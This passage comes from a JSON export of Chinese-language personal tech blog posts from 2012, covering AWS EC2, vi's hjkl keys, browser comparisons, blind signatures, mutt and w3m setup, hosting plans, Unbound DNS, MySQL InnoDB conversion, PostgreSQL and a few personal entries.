Action\r\n\r\nSince you have one or more SSH keys associated with your GitHub account you must visit https://github.com/settings/ssh/audit to approve each valid SSH key.\r\n\r\nUntil you have approved your SSH keys, you will be unable to clone/pull/push your repositories over SSH.\r\n\r\n# Status\r\n\r\nWe take security seriously and recognize this never should have happened. In addition to a full code audit, we have taken the following measures to enhance the security of your account:\r\n\r\n- We are forcing an audit of all existing SSH keys\r\n- Adding a new SSH key will now prompt for your password\r\n- We will now email you any time a new SSH key is added to your account\r\n- You now have access to a log of account changes in your Account Settings page\r\nSincerely, The GitHub Team\r\n\r\n--- https://github.com support@github.com\r\n</blockquote>",
    "title": "GitHub 要求全面檢查 SSH Key"
  },
  {
    "id": "2846",
    "body": "之前用 <a href=\"http://aws.amazon.com/ec2/\">AWS EC2</a> 的人常遇到的狀況是，t1.micro 記憶體太小會常常 out of memory (用 <a href=\"http://aws.amazon.com/ebs/\">EBS</a> 硬撐當 swap 效能不好)，但 m1.small 只能跑 32bits，為他做完整的 32bits image 維護成本實在不划算，因為等到之後變大後又得改做一份 64bits 的 image，如果從 t1.micro 改用 m1.large 又嫌太大台...\r\n\r\n現在這個問題總算是解決了：「<a href=\"http://aws.amazon.com/about-aws/whats-new/2012/03/07/three-new-Amazon-EC2-features/\">Announcing three new Amazon EC2 features</a>」，EC2 這次提供新功能包括：\r\n<ul>\r\n\t<li>推出新的 instance 種類 m1.medium，收費是 m1.small 的兩倍，所以規格大致上也是 m1.small 的兩倍，其中記憶體是 3.5GB RAM。</li>\r\n\t<li>m1.small 與 m1.medium 除了可以跑 32bits 以外，也可以跑 64bits。</li>\r\n</ul>\r\n於是本來的問題可以用不同方向解決：\r\n<ul>\r\n\t<li>本來做的 32bits image 當 m1.small 不夠用時也可以先拿 m1.medium 擋著。</li>\r\n\t<li>既然所有 EC2 instances 都可以跑 64bits，以後只要做 64bits image 就好了。</li>\r\n\t<li>同樣的，現在用 m1.large 嫌太大台的可以降到 m1.medium 或是 m1.small。</li>\r\n</ul>\r\n另外這次提供 Java SSH client，可以讓你直接在 Web Console 上面一貫作業，這個就比較用不到了...",
    "title": "AWS EC2 全面支援 64bits，並補上產品線..."
  },
  {
    "id": "2847",
    "body": "去年年底時 <a href=\"http://apollo.backplane.com/\">Matthew Dillon</a> 在 <a href=\"http://www.dragonflybsd.org/\">DragonFly BSD</a> mailing list 上的說明：「<a href=\"http://leaf.dragonflybsd.org/mailarchive/kernel/2011-12/msg00025.html\">Buildworld loop seg-fault update -- I believe it is hardware</a>」，以及今年三月從 <a href=\"http://www.amd.com/\">AMD</a> 確認問題「<a href=\"http://leaf.dragonflybsd.org/mailarchive/kernel/2012-03/msg00006.html\">AMD cpu bug update -- AMD confirms! (additional info)</a>」。\r\n\r\n可以從 mailing list 上看到他想辦法重製問題的方法 (從兩天才能重製，到小於 60 秒就能重製)，讓他覺得最棘手的原因是無法引入工具：\r\n<blockquote>Debugging the issue in userland (and kernelland) is extremely difficult because most debugging mechanisms caused the problem to stop occuring.</blockquote>\r\n當故事看還蠻... 有趣？(當事人大概不這麼覺得)",
    "title": "AMD CPU bug 問題..."
  },
  {
    "id": "2848",
    "body": "在 <a href=\"http://www.osnews.com/\">OSNews</a> 上面看到：「<a href=\"http://www.osnews.com/story/25701/Why_vim_uses_the_hjkl_keys_as_arrow_keys\">Why vim uses the hjkl keys as arrow keys</a>」，引用了「<a href=\"http://www.catonmat.net/blog/why-vim-uses-hjkl-as-arrow-keys/\">Here is why vim uses the hjkl keys as arrow keys</a>」這篇文章，提到為什麼 vi 使用 hjkl 表示左下右上四個方向，以及用 <code>~</code> 表示 home directory 的原因。\r\n\r\n首先是 <a href=\"https://en.wikipedia.org/wiki/Bill_Joy\">Bill Joy</a> 發明 vi 時所使用的 <a href=\"https://en.wikipedia.org/wiki/ADM-3A\">ADM-3A terminal</a> 鍵盤的樣子：\r\n\r\n<img src=\"https://i.gslin.com/imgur/ZKsZK.jpg\" alt=\"\" />\r\n\r\n再來是 <code>~</code> 這個鍵上面寫著 HOME：\r\n\r\n<img src=\"https://i.gslin.com/imgur/DSoJw.jpg\" alt=\"\" />\r\n\r\n既然有人定義好，那就直接拿來用 :p",
    "title": "用 hjkl 表示左下右上，以及 ~ 表示 home 的原因..."
  },
  {
    "id": "2851",
    "body": "我家裡與公司的 <a href=\"http://www.mozilla.com/firefox/\">Mozilla Firefox</a> 與 <a href=\"http://www.google.com/chrome\">Google Chrome</a> 都是在 <a href=\"http://www.ubuntu.com/\">Ubuntu</a> 上面跑，至於家裡的 <a href=\"http://www.apple.com/macmini/\">Mac Mini</a> 就沒換了，還是跑 Chrome。來講一下我對這兩個瀏覽器的的感覺。\r\n\r\n從安裝開始，在 Ubuntu 下面我是透過 ppa 裝 release 前一個 channel (兩個都叫做 beta)。安裝的方式很簡單，設好 ppa 後 <code>apt-get update; apt-get dist-upgrade</code> 就會把系統的 Firefox 與 Chrome 升級到新版。\r\n\r\n對於套件的相容性，Firefox 有很明顯的改善，現在從 Release 升級到 Beta 的時候不會直接把所有的套件標成不相容，會有一些機制處理，這方面算是跟 Chrome 有得玩。\r\n\r\n另外一方面 Chrome 也支援更多 API 讓套件使用，現在套件可以做很多網路層的操作，接下只要 Chrome 把 UI API 設計完整一點就可以了... (Chrome 上面套件的設定畫面相較於 Firefox 是有需要再改善的，瀏覽器對 UI API 支援太陽春算是原因之一...)\r\n\r\n同步的問題因為 Chrome 可以綁定 Google 帳號，就算是 Two-Factor 時也可以用 application password，而 Firefox 的同步功能我試了三次都沒成功過...\r\n\r\n效能方面，可以發現兩個瀏覽器的效能都很好了，<a href=\"https://twitter.com/\">Twitter</a> 算是 script 很多，可以感覺到比較頓的網站 (參考「<a href=\"http://mike.teczno.com/notes/bandwidth.html\">bandwidth</a>」這篇)，兩個瀏覽器用起來都不會有明顯的不順暢。\r\n\r\n操作方面是還是可以感覺到 Firefox 在某些地方卡住：\r\n<ul>\r\n\t<li>focus 在 Flash 時，Ctrl-W 無法關閉視窗 (因為 Ctrl-W 被 Flash 抓走了)。</li>\r\n\t<li>Firefox 的 <a href=\"http://getfirebug.com/\">Firebug</a> (yeah，跟 Firefox team 無關，但這剛好對應於 Chrome 內建功能) 沒辦法用 Ctrl-W 關閉。</li>\r\n\t<li>在 address bar 輸入 url 有時會被 suggestion 卡到 lag，這之前有提過了，在 bugzilla 上也有 ticket 在追這個問題...</li>\r\n</ul>\r\n最後要談的是穩定性，兩者的穩定性都已經可以接受，只是很明顯 Firefox 遇到複雜的 script 還是不太穩，無論是 <a href=\"https://www.facebook.com/\">Facebook</a> 還是 Twitter，偶而會出問題，這時候把 browser 關掉再開就好了...\r\n\r\nFirefox 大概還會再用一陣子吧... 算是測試不同的 browser。",
    "title": "Mozilla Firefox 與 Google Chrome..."
  },
  {
    "id": "2852",
    "body": "最近看到電子投票的事情，想起之前研究所時所學的密碼學... 是否有辦法找出一個合理的密碼系統，可以在密碼學這層解決電子投票要處理的問題：\r\n<ul>\r\n\t<li>正確性：一人一票、無法偽造、無法更改。</li>\r\n\t<li>匿名性：無法得知單一的投票內容。</li>\r\n\t<li>可驗證性：自己可以驗證自己的投票內容、任何人都可以驗證全體的投票總數。</li>\r\n\t<li>其他要求：...</li>\r\n</ul>\r\n有很多人試著去建立這樣的系統 (在「<a href=\"http://crypto.stanford.edu/pbc/notes/crypto/voting.xhtml\">Cryptography - Electronic Voting</a>」這篇可以看到)，但目前沒有完美的系統可以做到...\r\n\r\n其中 <a href=\"https://en.wikipedia.org/wiki/Blind_signature\">Blind Signature</a> 在這樣的系統內常常被拿出來當工具... 之前沒仔細看懂，週末花了一些時間發現 Blind Signature 還蠻有趣的。\r\n\r\nBlind Signature 想要與一般的 signature 一樣，讓對方簽 message <code>m</code>，取回 signature <code>s</code>。但多了一個要求：要在對方不知道 <code>m</code> 的內容情況下達到相同的效果。\r\n\r\n在 Wikipedia 上有說明用 RSA 的作法，看懂以後覺得還蠻有趣的...",
    "title": "Blind Signature..."
  },
  {
    "id": "2853",
    "body": "<a href=\"http://fabricengine.com/\">Fabric Engine</a> 號稱可以把 JavaScript 與 Python 跑到接近 C++ 速度的實力，而且強調支援 Threading... <a href=\"http://fabricengine.com/technology/\">投影片</a>裡可以看到底層的技術包括 <a href=\"http://llvm.org/\">LLVM</a>。\r\n\r\n在 Python 的範例程式可以看到 import 後用專屬的 Handler 包起來：<a href=\"https://github.com/fabric-engine/PublicStable/blob/master/Examples/Python/Tutorial/trivialHTTPServer.py\">https://github.com/fabric-engine/PublicStable/blob/master/Examples/Python/Tutorial/trivialHTTPServer.py</a>。而 NodeJS 的範例也是類似的架構：<a href=\"https://github.com/fabric-engine/PublicStable/blob/master/Examples/Node/Tutorial/trivialHTTPServer.js\">https://github.com/fabric-engine/PublicStable/blob/master/Examples/Node/Tutorial/trivialHTTPServer.js</a>。看起來比較像是把常用的 module 寫成 C++ code 而已？這並不是什麼神奇的技術...\r\n\r\n另外 license 是 <a href=\"http://en.wikipedia.org/wiki/Affero_General_Public_License\">AGPL</a> 3 or later 這個麻煩的 license，再加上使用 <a href=\"https://github.com/\">GitHub</a> 的方式超怪 (把 stable 版本與 dev 版本 source 放到不同 reposiotry：<a href=\"http://fabricengine.com/products/download/\">Download</a>。\r\n\r\n先把這軟體丟到一邊吧，等之後有人提起來的時候再看看...",
    "title": "Fabric Engine"
  },
  {
    "id": "2854",
    "body": "參考「<a href=\"http://kennethreitz.com/xcode-gcc-and-homebrew.html\">Xcode, GCC, and Homebrew</a>」這篇文章整理的...\r\n\r\n先前是裝上面那篇文章作者所整理的 <a href=\"https://github.com/kennethreitz/osx-gcc-installer/\">OSX GCC Installer</a>，但在新的 MBA 上面發現 <a href=\"http://mxcl.github.com/homebrew/\">homebrew</a> 會抱怨 Xcode 版本太舊？\r\n\r\n後來還是改裝 <a href=\"http://www.apple.com/\">Apple</a> 提供的 <a href=\"https://developer.apple.com/downloads/\">Command Line Tools for Xcode</a> (需要 Apple ID) 就沒問題了。\r\n\r\n<strong>Update</strong>：在 <a href=\"https://twitter.com/\">Twitter</a> 被 <a href=\"http://log.bcse.tw/\">bcse</a> 提醒標題不對，因為實際上 gcc 指令被 alias 到 llvm-gcc-4.2，這並不是 GCC (只是相容介面，骨子裡還是 llvm)，這篇只是講 Mac OSX 上面要怎麼裝 compiler 讓 homebrew 可以用...",
    "title": "在 Mac OSX 上安裝 GCC"
  },
  {
    "id": "2855",
    "body": "一樣用 gcc 就可以練習了，首先要先裝 lang/gnustep-base：\r\n<blockquote><code>cd /usr/ports/lang/gnustep-base; sudo make install clean</code></blockquote>\r\n裝好後 compile 的兩個階段要對 gcc 加上不同的參數：\r\n<blockquote><code>-I/usr/local/GNUstep/System/Library/Headers</code></blockquote>\r\n以及：\r\n<blockquote><code>-L/usr/local/GNUstep/System/Library/Libraries -lgnustep-base -lobjc</code></blockquote>\r\n把這些參數整合到 Makefile 裡面就可以練習了。",
    "title": "在 FreeBSD 上練習 Objective C..."
  },
  {
    "id": "2858",
    "body": "前幾天讓人吃驚的新聞，<a href=\"http://codership.com/products/mysql_galera\">Galera Cluster</a> 離第一次 Percona alpha 測試 (<a href=\"http://www.mysqlperformanceblog.com/2011/07/14/percona-server-5-1-with-galera-replication/\">Percona Server 5.1 with Galera replication</a>) 才九個月就進入 GA 了 (相當於九個月內就過完 Beta + RC 階段)：「<a href=\"http://www.mysqlperformanceblog.com/2012/04/03/announcement-of-percona-xtradb-cluster-5-5-20-ga-release/\">Announcement of Percona XtraDB Cluster 5.5.20 GA release</a>」。\r\n\r\n大家最大的問題還是「這能用嗎」... 不過既然進入 GA 狀態，加上是 <a href=\"http://www.percona.com/\">Percona</a>，好像可以期待？",
    "title": "Percona 把 Galera Cluster 標為 General Availability 了..."
  },
  {
    "id": "2859",
    "body": "花了一些時間設定 <a href=\"http://www.mutt.org/\">mutt</a>，本來在 terminal 上面沒打算看 html 信件，不過後來還是決定設起來，至少可以看到 html 的文字部分再決定要不要轉到 gmail 上面看...\r\n\r\n在 <code>~/.muttrc</code> 裡面加上：\r\n<blockquote><code>auto_view text/html</code></blockquote>\r\n另外在 <code>~/.mailcap</code> 裡面指定用 <a href=\"http://w3m.sourceforge.net/\">w3m</a>：\r\n<blockquote><code>text/html;/usr/local/bin/w3m -I %{charset} -T text/html -dump %s; copiousoutput</code></blockquote>",
    "title": "在 Mutt 上看 html 信件..."
  },
  {
    "id": "2860",
    "body": "「<a href=\"http://www.thetaboard.com/blog/client-side-error-logging-with-google-analytics?r=378\">Client-Side Error Logging With Google Analytics</a>」這篇提到可以用 <a href=\"http://www.google.com/analytics/\">Google Analytics</a> 紀錄 JavaScript 錯誤...\r\n\r\n不過這不是即時的紀錄，倒是作者有提到可以交叉比對，當發生 JavaScript 錯誤對於其他參數的影響：\r\n<blockquote>Track the impact of client-side errors on other business metrics. With the reporting in Google Analytics you can see how these errors are affecting bounce rate, conversion and sales.</blockquote>",
    "title": "用 Google Analytics 紀錄 JavaScript 錯誤..."
  },
  {
    "id": "2861",
    "body": "從 <a href=\"http://www.daemonology.net/\">Colin Percival</a> 的 <a href=\"https://twitter.com/\">Twitter</a> 上看到的：\r\n<blockquote><a href=\"https://twitter.com/cperciva/status/189006148328890369\">Looks like Amazon Web Services is giving away $50 credits which can be used for running FreeBSD on EC2: http://aws.amazon.com/solutions/global-solution-providers/microsoft/aprilcredit/</a></blockquote>\r\n活動的網址在「<a href=\"http://aws.amazon.com/solutions/global-solution-providers/microsoft/aprilcredit/\">$50 AWS Service Credit for Microsoft Windows Server Instances Running on Amazon EC2</a>」這裡。照說明是用在 <a href=\"http://aws.amazon.com/ec2/\">AWS EC2</a> 的 Microsoft Windows Server 上，不過把 code 輸入進去後寫了一堆 product：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/YyGEu.webp\" /><img src=\"https://i.gslin.com/imgur/YyGEu.jpg\" alt=\"\" /></picture>\r\n\r\n有打算用 <a href=\"http://www.freebsd.org/\">FreeBSD</a> 的人應該是不會有問題 (參考「<a href=\"http://www.daemonology.net/freebsd-on-ec2/\">FreeBSD on EC2</a>」這個頁面的說明)，其他的服務不知道會不會也能用到，下個月就知道了 XD",
    "title": "AWS USD$50 的優惠..."
  },
  {
    "id": "2862",
    "body": "在 Hacker News 的摘要上看到的，對於政府提供數位服務，英國政府嘗試訂出設計原則 (雖然目前這份文件還是 alpha 版本)：「<a href=\"https://www.gov.uk/designprinciples\">Government Digital Service Design Principles</a>」。\r\n\r\n這份原則是延伸自原來的七大守則：\r\n\r\n<a href=\"http://www.flickr.com/photos/benterrett/7041509709/\"><img src=\"http://farm8.staticflickr.com/7267/7041509709_78bb7d6777_b.jpg\" alt=\"\" /></a>\r\n\r\n其中有幾點相當棒：\r\n<ul>\r\n\t<li>第二條的「Do less」，如果有人已經做了類似的事情，就直接連出去，不要做重複的事情 (If someone else is doing it — link to it)，政府只需要提供其他人無法提供的資訊 (We should concentrate on the irreducible core)。如果能夠提供 API 之類的介面幫助其他服務做的更好，就提供出去讓其他人再利用 (If we can provide resources (like APIs) that will help other people build things — do that.)。</li>\r\n\t<li>第四條的「Do the hard work to make it simple」直接提到，使用者會用政府的服務是因為沒有替代方案：如果不努力讓服務簡單易用，就是在浪費使用者的時間。(With great power comes great responsibility — very often people have no choice but to use our services. If we don’t work hard to make them simple and usable we’re abusing that power, and wasting people’s time.)</li>\r\n\t<li>第五條的「Iterate. Then iterate again.」，考慮風險，如果一次到位的風險太高，邊打邊跑推出服務：從 alpha 階段進入 beta 階段，再從 beta 階段趨近於成熟，每個階段去看實際的反應，而不是一開始就畫一張大餅猜測使用者需要什麼。</li>\r\n\t<li>第八條的「Build digital services, not websites」與第十條的「Make things open: it makes things better」，標題就說明得很清楚了。</li>\r\n</ul>\r\n即使是一般商業產品的設計也是通用的原則...",
    "title": "英國政府所建議的「數位服務設計原則」"
  },
  {
    "id": "2865",
    "body": "<a href=\"http://www.ptt.cc/bbs/i-enterprise/M.1235936734.A.3A1.html\">2009 年在 Ptt 寫的文章</a>有提到不少 hosting plan，2012 年現在有不少變化...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/arN7a.webp\" /><img src=\"https://i.gslin.com/imgur/arN7a.jpg\" alt=\"\" /></picture>\r\n\r\nVPS 的部份，<a href=\"http://www.linode.com/\">Linode</a> 的 CPU 一向是 C/P 值超漂亮的方案。最小的方案從 384MB RAM 變成 512MB RAM (價錢沒變，仍然約 USD$20/month)，在有 swap 的情況下，即使跑 <a href=\"http://httpd.apache.org/\">Apache</a> 與 <a href=\"http://dev.mysql.com/\">MySQL</a> 也應該還算堪用。\r\n\r\nLinode 另外一個改變是多了東京機房。東京機房與台灣各 ISP 之間的 latency 都相當好。當以台灣使用者為主要族群而挑選 VPS 時，在東京的 Linode 主機通常是個好選擇。如果在 Linode 上面有 High Availability 需求，也有 <a href=\"http://www.linode.com/nodebalancers/\">NodeBalancer</a> 可以用 (2011 年，<a href=\"http://blog.linode.com/2011/07/13/introducing-nodebalancer/\">Introducing NodeBalancer</a>)。\r\n\r\n<img src=\"https://i.gslin.com/imgur/HTuHh.jpg\" alt=\"\" />\r\n\r\nLinode 已經算是不錯的方案，但如果你對 latency 非常重視 (日本與台灣之間大約有 30ms 的 latency) 而一定要使用台灣內部的 VPS (像是遊戲的伺服器)，那麼中華的 <a href=\"http://hicloud.hinet.net/\">HiCloud</a> 會是一個可以考慮的方案。\r\n\r\n<img src=\"https://nav.heroku.com/images/logos/logo.png\" alt=\"\" />\r\n\r\nPaaS 的部份，目前比較有名的是 <a href=\"http://www.heroku.com/\">Heroku</a>，支援的語言多，而且有 free quota，對於一些小站台或是測試應用應該是沒什麼問題，不過目前只有美東 us-east-1 機房 (Heroku 用 <a href=\"http://aws.amazon.com/\">AWS</a> 為底層)。另外 <a href=\"http://aws.amazon.com/elasticbeanstalk/\">AWS Elastic Beanstalk</a> 的方案也可以看看，目前支援 <a href=\"http://www.java.com/\">Java</a> 與 <a href=\"http://www.php.net/\">PHP</a> 兩種語言，區域比較多。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/BdbOH.webp\" /><img src=\"https://i.gslin.com/imgur/BdbOH.jpg\" alt=\"\" /></picture>\r\n\r\n如果是 IaaS 的部份，AWS 能提供的功能比較多，AWS 東京機房對台灣的速度也不差。另外 <a href=\"http://aws.amazon.com/s3/\">AWS S3</a> 在雲端靜態儲存這個領域還是領先者，就算用 VPS 或是 Dedicated Hosting 也還是可以考慮把一些東西放到 S3 上。\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/NcIhq.webp\" /><img src=\"https://i.gslin.com/imgur/NcIhq.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/QJ7HI.webp\" /><img src=\"https://i.gslin.com/imgur/QJ7HI.jpg\" alt=\"\" /></picture>\r\n\r\nDedicated Hosting 的部份，目前還會選的是美西的 <a href=\"http://www.egihosting.com/\">Energy Group Networks</a> (EGIHosting) 以及 <a href=\"http://www.limestonenetworks.com/\">Limestone Networks</a>。需要大頻寬的時候可以到 <a href=\"http://www.egihosting.com/dedicatedservers.aspx\">Dedicated Servers</a> 這頁翻翻，或是寫信跟 EGIHosting 要 quote，當你 commit 1Gbps 含機器的價錢大約是 USD$1/Mbps (台幣 NTD$30/Mbps)，連台灣的頻寬應該是透過 <a href=\"http://he.net/\">HE</a> 或是 <a href=\"http://www.nlayer.net/\">nLayer</a> 連進來。\r\n\r\n至於 CDN 服務，我的建議是，如果你不知道哪個比較好，就不要用吧... 等到你開始 profiling &amp; analyze 後再回頭決定。",
    "title": "Hosting Plan"
  },
  {
    "id": "2867",
    "body": "環境是內部有兩台互相做 HA 的 server (用 <a href=\"http://linux-ha.org/wiki/Heartbeat\">Heartbeat</a> 或是用 <a href=\"https://en.wikipedia.org/wiki/Common_Address_Redundancy_Protocol\">CARP</a>)，然後給一個內部用的 domain 指到兩個 IP address，於是發現不太平均：「<a href=\"http://jnlin.org/2012/02/02/519/\">Unbound 回傳 RR Set 的順序問題</a>」。\r\n\r\n2010 年的時候就有人提過要這個功能，然後被打槍：「<a href=\"http://unbound.net/pipermail/unbound-users/2010-March/001077.html\">[Unbound-users] Round Robin DNS</a>」，最主要的理由是「這應該是 client 要做的事情」。\r\n\r\n2012 年三月有人決定自己來：「<a href=\"http://www.unbound.net/pipermail/unbound-users/2012-March/002271.html\">[Unbound-users] patch implementing round robin rrsets</a>」，patch 本身蠻簡單的 (不過看起來不能保證 thread-safe)，另外也有一些 RFC 隱性希望 DNS resolver 可以處理 round robin 的事情。\r\n\r\n四月的時候有人把 patch 修過，解決了 thread-safe 問題：「<a href=\"http://unbound.net/pipermail/unbound-users/2012-April/002324.html\">[Unbound-users] patch: rrset-roundrobin/minimal-responses</a>」。\r\n\r\n看起來之後的版本有機會內建了...",
    "title": "用 Unbound 跑處理 DNS Round Robin 服務的問題..."
  },
  {
    "id": "2869",
    "body": "把主機的 <a href=\"http://dev.mysql.com/\">MySQL</a> 從 5.1 升級到 5.5 後，想把主機上的 MyISAM table 都換成 <a href=\"http://www.innodb.com/\">InnoDB</a>。\r\n\r\n基本上是參考「<a href=\"http://www.mysqlperformanceblog.com/2008/07/30/quick-tip-how-to-convert-tables-to-innodb/\">Quick tip: how to convert tables to InnoDB</a>」這篇提到的工具以及說明。\r\n\r\n文章裡所提到的 <code>mk-find</code> 是 2008 年的時候的名稱，當時這隻工具是在 <a href=\"http://www.maatkit.org/\">Maatkit</a> 裡面，而 2012 年則已經併入 <a href=\"http://www.percona.com/software/percona-toolkit/\">Percona Toolkit</a>，所以文章裡本來是 <code>mk-find</code> 的地方要改成 <code>pt-find</code>。\r\n\r\n另外我不想嘗試把 <code>mysql.*</code> 改成 InnoDB (我不知道會不會爆炸)，所以我的做法是只用 <code>--print</code>，然後丟到 <a href=\"http://www.vim.org/\">vim</a> 裡面加上 <code>ALTER TABLE</code> 以及 <code>ENGINE=InnoDB ROW_FORMAT=COMPRESSED;</code>。\r\n\r\n<code>pt-find</code> 這個指令看起來可以用在很多地方，之後應該會有不少用到的機會...",
    "title": "把大量的 MyISAM table 換成 InnoDB"
  },
  {
    "id": "2870",
    "body": "引用 CTO Werner Vogels 寫的「<a href=\"http://www.allthingsdistributed.com/2012/05/cloudfront-dynamic-content-support.html\">Dynamic Content Support in Amazon CloudFront</a>」這篇好了，雖然沒有講完整，但把重點都提到了，而且比官方網誌「<a href=\"http://aws.typepad.com/aws/2012/05/amazon-cloudfront-support-for-dynamic-content.html\">Amazon CloudFront - Support for Dynamic Content</a>」這篇清楚...\r\n\r\n這次 <a href=\"http://aws.amazon.com/cloudfront/\">AWS CloudFront</a> 上的功能都可以在 AWS Management Console 上設定，不需要另外安裝 3rd party 軟體或是自己寫程式呼叫 API。\r\n\r\n這次最主要的更新在支援 query string。在之前的版本，這兩個 url 會被 CloudFront 當作是同樣的 url 而被 cache 成同一份：\r\n<ul>\r\n\t<li><code>http://www.example.com/user.php?username=gslin</code></li>\r\n\t<li><code>http://www.example.com/user.php?username=gslin2</code></li>\r\n</ul>\r\n而這次可以設定是否要將 query string 納入計算。\r\n\r\n另外一個重要的設計是支援 <code>Cache-Control</code> 與 <code>Expires</code>，當 <code>Cache-Control</code> 給出 <code>no-cache</code> 的時候，新版的 CloudFront 可以依照 <code>Cache-Control</code> 的要求處理。\r\n\r\n有了這兩個改善後，本來需要在 server workaround 的事情就可以交還給 CloudFront 處理。之後應該是試著支援像 <a href=\"http://www.akamai.com/\">Akamai</a> 的 <a href=\"http://www.akamai.com/html/solutions/dynamic_site_accelerator.html\">Dynamic Site Accelerator</a> 的功能？另外一方面也有可能讓消費者自己選擇 PoP？\r\n\r\n功能愈來愈完整了...",
    "title": "AWS CloudFront 增加的功能"
  },
  {
    "id": "2873",
    "body": "先給連結，<a href=\"http://www.php.net/\">PHP</a> 5.4 可以編的版本在這裡：<a href=\"https://github.com/gslin/php-test-helpers\">github.com/gslin/php-test-helpers</a>，clone 下來後的安裝方法是：\r\n<blockquote><pre>\r\nphpize\r\n./configure\r\nmake\r\nmake install\r\n</pre></blockquote>\r\n另外自己增加 <code>extensions.ini</code>：\r\n<blockquote><pre>\r\nextension=test_helpers.so\r\n</pre></blockquote>\r\n主要是 PHP 內部的資料結構有變動，本來存取的方式要改掉。發了 pull request 但不知道作者會不會收，如果有需要的人可以自己先裝。\r\n\r\n會用到 php-test-helpers 是因為寫 test case 的時候要換掉整個 <a href=\"http://www.php.net/manual/en/class.httprequest.php\">HttpRequest</a>，而 <a href=\"http://www.php.net/manual/en/book.runkit.php\">RunKit</a> 不能換系統的 HttpRequest，所以找了不少 extension 發現 php-test-helpers 可以用。\r\n\r\n換法是這樣：\r\n<blockquote><pre>\r\nset_new_overload(function($name){\r\n    if ('HttpRequest' == $name) {\r\n        return 'My_HttpRequest';\r\n    }   \r\n    return $name;\r\n}); \r\n</pre></blockquote>\r\n拿掉可以直接呼叫 <code>unset_new_overload();</code> 整個拔乾淨...",
    "title": "PHP 5.4 與 php-test-helpers"
  },
  {
    "id": "2874",
    "body": "雖然工作上都還是用 <a href=\"http://dev.mysql.com/\">MySQL</a>，但還是來看看其他的 database... 印象中對 <a href=\"http://www.postgresql.org/\">PostgreSQL</a> 最主要的差異 (與 MySQL 相比較) 是在於 index 的彈性...\r\n\r\nPostgreSQL 也是個超大的 open source project，所以除了可以到 PostgreSQL 的官方網站找資料外，<a href=\"https://en.wikipedia.org/\">英文版維基百科</a>上的資料也是對於熟悉 PostgreSQL 的入口：「<a href=\"https://en.wikipedia.org/wiki/PostgreSQL\">PostgreSQL - Wikipedia, the free encyclopedia</a>」。\r\n\r\n現在 PostgreSQL 最新的 stable 版本是 9.1。依照 <a href=\"http://www.postgresql.org/support/versioning/\">Versioning policy</a> 文件，從第一個 major 版本釋出後，提供五年的軟體支援。現在支援的版本包括 8.3、8.4、9.0 與 9.1。另外最近剛出 9.2 beta1，在「<a href=\"http://www.postgresql.org/about/news/1395/\">PostgreSQL 9.2 Beta 1 Available for Testing</a>」有些說明可以看。\r\n\r\n功能面上，除了本來就很強的功能外，內建 Replication 是從 9.0 開始，其中 9.0 與 9.1 分別支援 async replication 與 sync replication，9.2 則是多了 Cascading replication (應該是指串接)。\r\n\r\n商業支援則是常常可以看到 <a href=\"http://www.enterprisedb.com/\">EnterpriseDB</a>。有名的用戶包括了 <a href=\"http://instagr.am/\">Instagram</a> 與 <a href=\"http://www.heroku.com/\">Heroku</a>。\r\n\r\n接下來就是實際玩看看...",
    "title": "花時間看看 PostgreSQL..."
  },
  {
    "id": "2875",
    "body": "六個人從十點開始吃，先是肥睡睡跟食材合照，另外冰箱有 1.5kg 的魚肉與 2.2kg 的豬肉：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/7221459614\"><img src=\"http://farm8.staticflickr.com/7237/7221459614_fe2b9b3932_o.jpg\" alt=\"\" /></a>\r\n\r\n已經把 1.5kg 的魚肉吃完了，決定把 2.2kg 的豬肉「切一半」的經典切法：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/7222156050\"><img src=\"http://farm6.staticflickr.com/5040/7222156050_68d841bb5f_o.jpg\" alt=\"\" /></a>\r\n\r\n接下來幾張是十年前在新竹吃唰唰鍋的經典場景重現：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/7222165506\"><img src=\"http://farm8.staticflickr.com/7097/7222165506_55fc7cac9e_o.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/7222166772\"><img src=\"http://farm8.staticflickr.com/7087/7222166772_56c9954146_o.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/7222175988\"><img src=\"http://farm8.staticflickr.com/7232/7222175988_8283a9c504_o.jpg\" alt=\"\" /></a>\r\n\r\n結束後喝飲料，直接把飲料倒進冰塊包裝內：\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/7222467160\"><img src=\"http://farm8.staticflickr.com/7226/7222467160_501a4e3e6b_o.jpg\" alt=\"\" /></a>\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/7222468280\"><img src=\"http://farm8.staticflickr.com/7240/7222468280_851225e274_o.jpg\" alt=\"\" /></a>\r\n\r\n叔叔有練過，小朋友不要學喔～",
    "title": "有陣子沒吃的這麼兇暴了..."
  },
  {
    "id": "2876",
    "body": "遊戲一向都是硬體升級的主要動力... :/\r\n\r\n<a href=\"http://blizzard.com/\">Blizzard</a> 的遊戲都會發展 Windows 與 Mac 兩個平台，<a href=\"http://www.diablo3.com/\">Diablo III</a> 這次也是一樣。CPU 與記憶體一向都是小問題，顯卡才是真正的大問題...\r\n\r\n手上的 <a href=\"http://www.apple.com/macbookair/\">MBA</a> 與 <a href=\"http://www.apple.com/macmini/\">Mac Mini</a> 都是 Intel HD Graphics 3000，有支援但是效果開不起來，而桌機則是 8600 GT，也是差不多的狀況，加上 NTFS resize 一直失敗，決定去光華商場弄一顆硬碟與一張顯卡來跑，在網路上翻了一下資料，看起來 GTX 550 拿來玩 Diablo III 應該是夠用...\r\n\r\n買完回到家後查資料才發現 GTX 550 全力跑的時候是個吃電大怪物，桌機上面加上新硬碟後就有四顆硬碟，目前靠 350W 的 Power 推，這樣大概不夠用，懶得出門只好上 <a href=\"http://24h.pchome.com.tw/\">24h</a> 去弄顆新的 Power，應該是有機會在光華開門前就到家... :o\r\n\r\n所以又回頭到 Mac Mini 上面安裝起來玩，果然頓頓的，升了一級後還是先去睡覺，等早上來裝新的 Power...",
    "title": "Diablo III"
  },
  {
    "id": "2877",
